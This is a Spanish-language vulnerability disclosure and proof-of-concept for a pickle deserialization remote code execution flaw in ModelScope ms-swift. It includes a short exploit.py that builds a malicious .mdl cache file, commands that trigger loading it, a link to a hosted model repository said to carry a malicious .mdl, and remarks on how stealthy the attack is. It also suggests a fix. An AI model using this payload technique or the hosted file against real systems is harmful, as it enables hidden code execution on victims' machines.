
Exploit de prueba de concepto para CVE-2025-50472, una vulnerabilidad de RCE por deserialización en ModelFileSystemCache de ModelScope ms-swift a través de archivos .mdl maliciosos.
Subí un repositorio de código que contiene un archivo .mdl malicioso a ModelScope con fines de prueba. Se puede usar directamente durante las pruebas. El enlace es: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
El archivo .mdl contiene código malicioso incrustado, pero no se muestra ninguna advertencia de seguridad en ModelScope.
Código PoC:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
El procedimiento para reproducir el problema es el siguiente:
El modelo se descarga
Después de que se ejecuta el código malicioso, el entrenamiento continúa normalmente sin interrupción
El payload malicioso se ejecuta exitosamente
La biblioteca modelscope/ms-swift hasta la versión 2.6.1 es vulnerable a la ejecución arbitraria de código mediante la deserialización de datos no confiables dentro de la función load_model_meta() de la clase ModelFileSystemCache(). Los atacantes pueden ejecutar código y comandos arbitrarios creando un payload .mdl serializado malicioso, explotando el uso de pickle.load() en datos de fuentes potencialmente no confiables. Esta vulnerabilidad permite la ejecución remota de código (RCE) al engañar a las víctimas para que carguen un checkpoint aparentemente inofensivo durante un proceso de entrenamiento normal, permitiendo así a los atacantes ejecutar código arbitrario en la máquina objetivo.
Tenga en cuenta que el archivo payload es un archivo oculto, lo que dificulta que la víctima detecte la manipulación. Más importante aún, durante el proceso de entrenamiento del modelo, después de que se carga el archivo .mdl y ejecuta código arbitrario, el proceso de entrenamiento normal no se ve afectado, lo que significa que el usuario permanece inconsciente de la ejecución de código arbitrario.
Descripción detallada de la vulnerabilidad: La vulnerabilidad resulta de la deserialización insegura de datos no confiables. El script usa pickle.load para cargar el archivo de caché oculto y es vulnerable a la ejecución de código.
Flujo de código desde la entrada hasta la condición vulnerable:
~/.cache/modelscope/hub/xx/xx, donde había un archivo de caché .mdl en el directorio del modelo, que contenía información básica como el nombre del modelo.caching.py deserializó el archivo .mdl, se ejecutó el código malicioso incrustado en el archivo.Punto de inyección: La vulnerabilidad ocurre en el punto donde se llama a pickle.load. Enlace permanente de GitHub: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
Correcciones sugeridas: Al manejar archivos de configuración (en lugar de archivos de modelo), se recomienda adoptar métodos de análisis de archivos más seguros, como yaml.safe_load(yaml_file) o json.load, para mitigar el riesgo de ejecución arbitraria de código.
exploit.py para crear un archivo de caché malicioso .mdl que creará un directorio en el sistema de la víctima:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
Reemplace el archivo .mdl original en el directorio del modelo con el archivo maliciosamente creado generado anteriormente.
Cuando el parámetro model_id_or_path se especifica durante el entrenamiento para hacer referencia a un directorio de modelo local, un archivo .mdl manipulado en la ruta especificada puede resultar en ejecución remota de código (RCE).
Importante, dicha modificación no interrumpe el flujo de trabajo normal de entrenamiento, lo que hace que el ataque RCE sea sigiloso y difícil de detectar para los usuarios.
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan(凡浩) and Yu Rong(戎誉)